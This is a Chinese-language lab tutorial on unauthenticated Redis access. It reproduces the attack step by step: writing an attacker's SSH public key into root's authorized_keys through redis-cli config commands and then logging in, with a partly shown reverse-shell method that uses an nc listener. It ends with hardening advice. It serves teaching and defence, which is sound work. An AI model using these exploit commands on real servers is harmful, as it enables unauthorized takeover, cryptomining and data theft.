1.應用介紹
Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的API。
2. 漏洞介紹
Redis因配置不當可以導致未授權訪問,被攻擊者惡意利用。當前流行的針對Redis未授權訪問的一種新型攻擊方式,在特定條件下,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器,可導致服務器權限被獲取和數據刪除、泄露或加密勒索事件發生,嚴重危害業務正常服務。部分服務器上的Redis 綁定在 0.0.0.0:6379,并且沒有開啟認證(這是Redis 的默認配置),以及該端口可以通過公網直接訪問,如果沒有采用相關的策略,比如添加防火墻規則避免其他非信任來源 ip 訪問等,將會導致 Redis 服務直接暴露在公網上,可能造成其他用戶可以直接在非授權情況下直接訪問Redis服務并進行相關操作。
目前比較主流的案例:yam2 minerd 挖礦程序,還有在多次應急事件中發現大量的watch-smartd挖礦木馬。
3.未授權訪問檢測
Nmap掃描后發現主機的6379端口對外開放,就可以用本地Redis遠程連接服務器redis在開放往外網的情況下(默認配置是bind 127.0.0.1,只允許本地訪問,如果配置了其他網卡地址那么就可以網絡訪問,默認配置下是空口令,端口為6379)連接后可以獲取Redis敏感數據。
4.漏洞利用
1.登錄不受保護的Redis
2.將其備份位置更改為.ssh目錄 - 將SSH密鑰寫入新的備份位置
3.使用SSH密鑰遠程連接并登錄目標服務器
5.漏洞復現
本次示例的環境配置:
目標機器:Centos6上的Redis-3.2.11
攻擊機:kali
5.1配置目標機器
首先,在目標機器上安裝Redis。通過下面這個命令來下載源碼:
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
解壓和編譯,命令如下:
tar xzf redis-3.2.11.tar.gz cd redis-3.2.11
make
make之后,我們打開redis-3.2.11目錄下的redis.conf配置文件。為了能夠進行遠程訪問,我們需要注釋掉 bind 127.0.0.1這一行,并禁用protected-mode,如圖所示:
現在使用我們剛才編輯的配置文件啟動Redis服務。注意:redis-server在redis-3.2.11/src目錄下,啟動命令如下:
src/redis-server redis.conf
現在,我們已經完成了目標服務器的設置。此外,我們還應檢查是否有 .ssh文件夾。如果沒有,我們應該創建一個,一會兒攻擊時會用到。
5.2攻擊機配置
首先,確定我們可以ping通目標。然后,我們將生成一個私鑰和公鑰,以便稍后SSH到目標機器中。運行以下命令以生成SSH密鑰并將密碼保留為空:
ssh-keygen -t rsa
然后,進入.ssh目錄,如果你是root用戶,請輸入/.ssh,不是root用戶,輸入~/.ssh,然后將公鑰導入到temp.txt中(前后用\n換行,避免和Redis里其他緩存數據混合):
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
很好,現在我們已經生成了一對密鑰對,現在我們需要找到一個方法將公鑰上傳到Redis服務器中(目標機器)。
我們將使用redis-cli向Redis服務器發送命令,并且直接在終端中讀取服務器的響應。
在.ssh目錄下執行以下命令:
cat temp.txt | redis-cli -h 192.168.20.130 -x set s-key
這里,我們來看看命令。我們使用-h參數來指定遠程Redis服務器IP,這樣redis-cli就可以進行連接并發送命令。-x參數后的語句意思是,設置redis中s-key密鑰的值為temp.txt。
這里,我們有了一個隱藏著ssh秘鑰的密鑰!現在我們再來連接到Redis并查看它的配置文件。使用redis-cli再次連接到Redis服務器,如圖所示:
這里修改目錄出現了錯誤,提示是無訪問權限,是因為redis服務器那/root目錄下的權限不夠,修改下目錄的權限,不知道為什么碰見這個問題
192.168.20.130:6379> config set dir /root/.ssh
OK
192.168.20.130:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.20.130:6379> config set dbfilename authorized_key
OK
192.168.20.130:6379> config get dbfilename
1) "dbfilename"
2) "authorized_key"
192.168.20.130:6379> save
OK
查看上面的截圖,我們首先使用get s-key命令來驗證s-key密鑰的值,這個值正是我們想要的 - 前后有兩個空行的公鑰。我們這里真正要做的就是獲取存儲在.ssh文件夾中的“s-key”(SSH公鑰)的值,也就是將temp.txt內容寫入到服務器redis內為s-key,將內容保存成authorized_keys, 這樣我們就可以不用輸入密碼而遠程SSH登錄到目標機器了。
在攻擊機上,使用下列命令ssh連接到目標機器上:
# command: private key username@server IP
ssh -i id_rsa username@IP
法二,定時反彈shell
kali : 192.168.20.135
centos : 192.168.20.130
1.開啟redis
src/redis-server redis.conf
2.與目標主機連接
root@kali:~# redis-cli -h 192.168.20.130
- kali主機進行監聽
nc -l -v -p 4444
4.寫入shell并保存
5.連接
6.修復建議
修復建議/安全建議
1.禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
來禁用遠程修改 DB 文件地址
2.以低權限運行 Redis 服務
為 Redis 服務創建單獨的用戶和家目錄,并且配置禁止登陸
$ groupadd -r redis && useradd -r -g redis redis
3.為 Redis 添加密碼驗證
修改 redis.conf 文件,添加
requirepass mypassword
4.禁止外網訪問 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服務只在當前主機可用
bind 127.0.0.1
5.保證 authorized_keys 文件的安全
為了保證安全,您應該阻止其他用戶添加新的公鑰。
將 authorized_keys 的權限設置為對擁有者只讀,其他用戶沒有任何權限:
$ chmod 400 ~/.ssh/authorized_keys
為保證 authorized_keys 的權限不會被改掉,您還需要設置該文件的 immutable 位權限:
chattr +i ~/.ssh/authorized_keys
然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設置 ~./ssh 的 immutable 位權限:
chattr +i ~/.ssh